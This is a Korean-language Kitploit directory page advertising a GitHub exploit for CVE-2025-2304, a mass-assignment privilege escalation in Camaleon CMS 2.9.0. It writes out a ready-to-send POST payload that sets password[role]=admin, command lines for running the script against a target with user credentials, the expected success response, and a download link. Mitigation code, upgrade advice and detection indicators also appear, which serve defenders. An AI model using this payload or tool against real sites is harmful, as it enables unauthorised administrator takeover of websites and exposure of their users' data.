Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2304 — 이 Python 스크립트는 Camaleon CMS 버전 2.9.0의 심각한 대량 할당 취약점을 악용하여, 등록된 모든 사용자가 자신의 권한을 관리자로 승격시킬 수 있도록 합니다. | Kitploit
도구/GitHubGitHub/csuribird/cve-2025-2304
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingMisconfigurationLearning & Education
GitHubcsuribird/cve-2025-2304

CVE-2025-2304

이 Python 스크립트는 Camaleon CMS 버전 2.9.0의 심각한 대량 할당 취약점을 악용하여, 등록된 모든 사용자가 자신의 권한을 관리자로 승격시킬 수 있도록 합니다.

저장소 보기
516개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2304 - Camaleon CMS 2.9.0 - 권한 상승 익스플로잇

개요

이 Python 스크립트는 Camaleon CMS 버전 2.9.0의 심각한 mass assignment 취약점을 악용하여, 등록된 모든 사용자가 관리자로 권한을 상승시킬 수 있도록 합니다.

취약점 세부 정보

  • CVE: CVE-2025-2304 - UsersController#updated_ajax의 Mass Assignment
  • 영향받는 버전: Camaleon CMS 2.9.0
  • 심각도: 치명적
  • 공격 벡터: updated_ajax 액션의 permit! 메서드가 role 매개변수를 포함한 모든 매개변수를 필터링 없이 통과시킵니다.

익스플로잇 작동 방식

  1. 인증: 스크립트는 먼저 일반 등록 사용자로 로그인합니다.
  2. 악용: /admin/users/[id]/updated_ajax로 악의적인 페이로드와 함께 POST 요청을 보냅니다. (스크립트에서는 자동으로 할당되는 일반적인 ID인 5번을 사용했습니다. 변경이 필요할 수 있습니다.)
    • password[role]=admin – 이 매개변수는 필터링되어야 하지만 permit!로 인해 필터링되지 않습니다.
    • password[password] 및 password[password_confirmation] – 사용자의 비밀번호를 업데이트합니다. (클라이언트 역할을 가진 일반 사용자가 프로필을 업데이트할 때는 기술적으로 user[role]=client이지만, 여기서는 비밀번호 변경 기능의 취약점을 악용하므로 password[role]=admin이 됩니다.)
  3. 권한 상승: 사용자의 역할이 일반 사용자에서 관리자로 변경됩니다.
  4. 확인: 스크립트는 관리자 전용 엔드포인트에 접근하여 성공 여부를 확인합니다.

설치

root@kitploit:~
pip install -r requirements.txt

사용법

root@kitploit:~
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword

선택적 매개변수

  • --new-password: 악용 중 새 비밀번호를 설정합니다 (기본값: 현재 비밀번호)

예시

root@kitploit:~
python camaleon_cms_privilege_escalation.py \
    --url http://192.168.1.100 \
    --username testuser \
    --password testpass123 \
    --new-password newadminpass

기술적 세부 사항

취약한 코드 위치

취약점은 UsersController의 updated_ajax 메서드에 존재합니다:

root@kitploit:~
def updated_ajax
  # 취약한 코드 - 특정 매개변수 필터링 대신 permit! 사용
  @user.update(params.require(:user).permit!)
  # 이로 인해 role을 포함한 모든 매개변수가 mass-assignment 될 수 있음
end

악의적인 페이로드

root@kitploit:~
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded

password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch

예상 응답

root@kitploit:~
{
  "success": true,
  "message": "User updated successfully"
}

영향

  • 권한 상승: 일반 사용자가 관리자 접근 권한을 획득할 수 있습니다.
  • 전체 시스템 손상: 관리자 접근을 통해 CMS를 완전히 제어할 수 있습니다.
  • 데이터 유출: 모든 사용자 데이터 및 콘텐츠에 접근할 수 있습니다.
  • 지속성: 백도어를 생성하고 접근을 유지할 수 있습니다.

완화 방법

개발자용

취약한 permit! 메서드를 명시적 매개변수 필터링으로 교체하세요:

root@kitploit:~
def updated_ajax
  @user.update(params.require(:user).permit(:password, :password_confirmation, :email))
  # 명시적으로 role 매개변수 제외
end

시스템 관리자용

  1. 패치된 Camaleon CMS 버전(2.9.1)으로 업그레이드하세요.
  2. 역할 기반 접근 제어를 구현하세요.
  3. 입력 유효성 검사 및 매개변수 필터링을 추가하세요.
  4. 의심스러운 권한 상승 시도를 모니터링하세요.

법적 고지

이 스크립트는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 이 익스플로잇을 사용하지 마십시오. 저자는 이 도구의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.

탐지

보안 팀은 다음을 모니터링하여 악용 시도를 탐지할 수 있습니다:

  • password[role] 매개변수를 포함한 /admin/users/[id]/updated_ajax에 대한 POST 요청
  • 사용자 계정의 예상치 못한 역할 변경
  • 감사 로그의 권한 상승 패턴

참고 자료

  • Mass Assignment 취약점 문서
  • Ruby on Rails 보안 가이드라인
  • Camaleon CMS 보안 권고사항
도구 다운로드